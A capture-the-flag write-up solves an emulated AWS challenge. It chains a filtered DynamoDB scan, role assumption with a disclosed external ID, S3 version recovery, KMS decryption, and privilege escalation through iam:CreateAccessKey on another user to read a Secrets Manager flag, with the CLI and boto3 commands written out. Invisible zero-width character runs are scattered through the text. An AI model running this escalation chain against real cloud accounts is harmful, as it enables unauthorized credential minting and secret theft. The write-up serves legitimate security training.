← Back to Writeups
CUSTOMMediumInfrastructure

Bought Riot

XESXOR9/2/20265 min read
#infrastructure#custom#medium#iam_role_assumption#dynamodb_filtered_scan#s3_version_recovery#kms_decryption#cross_user_access_key_creation#linux

Bought Riot

Platform: CACTF2026 | Category: Infrastructure | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-07-28 | Status: Solved Techniques: iam_role_assumption, dynamodb_filtered_scan, s3_version_recovery, kms_decryption, cross_user_access_key_creation

Summary

Task: Two scoped services expose a briefing and an AWS-compatible cloud environment with a hidden rumor-payment trail. Solution: Follow DynamoDB, historical S3, KMS, and IAM evidence, impersonate the broker user, then read the payout secret.

Bought Riot — CACTF2026

Description

Miren Vale must determine who started a false rumor about a Stormbound captain selling the east-road schedule and who paid to spread it. Two scoped services were provided at 154.57.164.73:31550 and 154.57.164.73:32028.

The goal was to correlate the rumor's broker with its payment trail. The title “Bought Riot” hints at paid agitation or astroturfing rather than an ordinary web-injection challenge.

Overview

The briefing service disclosed a limited AWS IAM user and the endpoint of an AWS-compatible API. The intended chain crossed several cloud services: ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

  1. Query a known DynamoDB table and isolate its only LIVE road record.
  2. Assume the disclosed scanner role with its external ID.
  3. Recover an older S3 object version because the current manifest is redacted.
  4. Decrypt that historical object with KMS.
  5. Abuse the scanner role's iam:CreateAccessKey permission to become the named broker user.
  6. From that user, assume the runner role and read the named Secrets Manager secret.

Reconnaissance

Nmap initially soft-matched port 31550 as RTSP and SIP, but its HTTP responses contained x-amz-* headers and an AWS-style AccessDeniedException. It was therefore not a custom RTSP or SIP service. Port 32028 returned an HTTP page identified as PhoenixBriefing/1.0 Python/3.12.13. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The briefing exposed /player-creds.json, which supplied disposable challenge credentials for eastreach-supply-auditor and directed API calls to port 31550. Live credentials and tokens are intentionally represented by placeholders below:

bash
export AWS_ENDPOINT='http://154.57.164.73:31550'
export AWS_DEFAULT_REGION='us-east-1'
export AWS_ACCESS_KEY_ID='<BRIEFING_ACCESS_KEY>'
export AWS_SECRET_ACCESS_KEY='<BRIEFING_SECRET_KEY>'
export AWS_SESSION_TOKEN='<BRIEFING_SESSION_TOKEN_IF_PRESENT>'

aws --endpoint-url "$AWS_ENDPOINT" sts get-caller-identity

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The identity response confirmed:

text
arn:aws:iam::593847102664:user/eastreach-supply-auditor

Analysis

1. Locate the live settlement

dynamodb:ListTables was denied. This did not prevent direct access because the briefing named the table supply-road-settlements. A server-side filter avoided manually reviewing all 224 rows:

bash
aws --endpoint-url "$AWS_ENDPOINT" dynamodb scan \
  --table-name supply-road-settlements \
  --filter-expression '#status = :live' \
  --expression-attribute-names '{"#status":"status"}' \
  --expression-attribute-values '{":live":{"S":"LIVE"}}'

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The sole live record was ROAD-3D9C. It supplied these next-hop values:

  • scanner role: arn:aws:iam::593847102664:role/supply-road-scanner
  • scanner external ID: eastreach-road-scanner-3d9c
  • runner external ID: eastreach-supply-road-runner-3d9c
  • manifest bucket: supply-road-manifests

2. Assume the scanner role

Use jq to parse the temporary credentials rather than copying session values into shell history:

bash
aws --endpoint-url "$AWS_ENDPOINT" sts assume-role \
  --role-arn 'arn:aws:iam::593847102664:role/supply-road-scanner' \
  --role-session-name road-audit \
  --external-id 'eastreach-road-scanner-3d9c' > scanner-session.json
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

export AWS_ACCESS_KEY_ID="$(jq -r '.Credentials.AccessKeyId' scanner-session.json)"
export AWS_SECRET_ACCESS_KEY="$(jq -r '.Credentials.SecretAccessKey' scanner-session.json)"
export AWS_SESSION_TOKEN="$(jq -r '.Credentials.SessionToken' scanner-session.json)"

The scanner could read manifests/ROAD-3D9C.json, but its current content was deliberately redacted. S3 versioning was the crucial clue:

bash
aws --endpoint-url "$AWS_ENDPOINT" s3api list-object-versions \
  --bucket supply-road-manifests \
  --prefix 'manifests/ROAD-3D9C.json'
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

aws --endpoint-url "$AWS_ENDPOINT" s3api get-object \
  --bucket supply-road-manifests \
  --key 'manifests/ROAD-3D9C.json' \
  --version-id '2cd92a47-5545-4276-850a-441e6d54898f' \
  historical-manifest.bin

The historical body was a kms:v3:... ciphertext. The AWS-compatible KMS accepted the downloaded bytes directly as CiphertextBlob; no base64 preprocessing was necessary:

python
#!/usr/bin/env python3
import os
import boto3

endpoint = os.environ["AWS_ENDPOINT"]
kms = boto3.client(
    "kms",
    endpoint_url=endpoint,
    region_name=os.environ.get("AWS_DEFAULT_REGION", "us-east-1"),
)
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

with open("historical-manifest.bin", "rb") as source:
    ciphertext = source.read()

plaintext = kms.decrypt(CiphertextBlob=ciphertext)["Plaintext"]
with open("decrypted-manifest.json", "wb") as destination:
    destination.write(plaintext)

The decrypted JSON identified:

  • broker user: road-messenger
  • runner role: arn:aws:iam::593847102664:role/supply-road-runner
  • payout secret: supply-road/payout/eastreach-relay-3d9c

This connected the rumor-spreading broker to a concrete payout record. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

3. Make the required principal transition

Assuming the runner role directly as either the auditor or scanner was denied. The scanner role did, however, have iam:CreateAccessKey permission for road-messenger. Creating a key for another IAM user was the privilege-transition primitive:

bash
aws --endpoint-url "$AWS_ENDPOINT" iam create-access-key \
  --user-name road-messenger > broker-key.json

export AWS_ACCESS_KEY_ID="$(jq -r '.AccessKey.AccessKeyId' broker-key.json)"
export AWS_SECRET_ACCESS_KEY="$(jq -r '.AccessKey.SecretAccessKey' broker-key.json)"
unset AWS_SESSION_TOKEN

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Now the runner role's trust policy was satisfied:

bash
aws --endpoint-url "$AWS_ENDPOINT" sts assume-role \
  --role-arn 'arn:aws:iam::593847102664:role/supply-road-runner' \
  --role-session-name payout-audit \
  --external-id 'eastreach-supply-road-runner-3d9c' > runner-session.json

export AWS_ACCESS_KEY_ID="$(jq -r '.Credentials.AccessKeyId' runner-session.json)"
export AWS_SECRET_ACCESS_KEY="$(jq -r '.Credentials.SecretAccessKey' runner-session.json)"
export AWS_SESSION_TOKEN="$(jq -r '.Credentials.SessionToken' runner-session.json)"

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

4. Recover the payout evidence

The runner role could retrieve the payout record from Secrets Manager:

bash
aws --endpoint-url "$AWS_ENDPOINT" secretsmanager get-secret-value \
  --secret-id 'supply-road/payout/eastreach-relay-3d9c' \
  --query SecretString \
  --output text

This returned the challenge flag. The broker identity explains who spread the rumor, while the payout secret completes the payment trail suggested by the narrative.

Failed Paths and Cleanup

  • dynamodb:ListTables was denied; direct scanning of the briefing-named table was required.
  • The latest S3 manifest was redacted; only the historical object version contained useful evidence.
  • Direct runner-role assumption from the auditor and scanner principals was denied by the trust relationship.
  • No generic SQL injection, command injection, or other web exploit was needed.
  • Deleting the created road-messenger access key was attempted, but iam:DeleteAccessKey was denied. The key remained only inside the disposable challenge instance; no transient credential is reproduced here. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Lessons

Cloud challenges often require following authorization edges rather than finding one universal administrator credential. Here, each disclosed ARN, external ID, object version, and secret name described one edge in the intended chain. The decisive misconfiguration was not broad S3 access alone, but the ability to mint credentials for the exact IAM user trusted by the final role. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍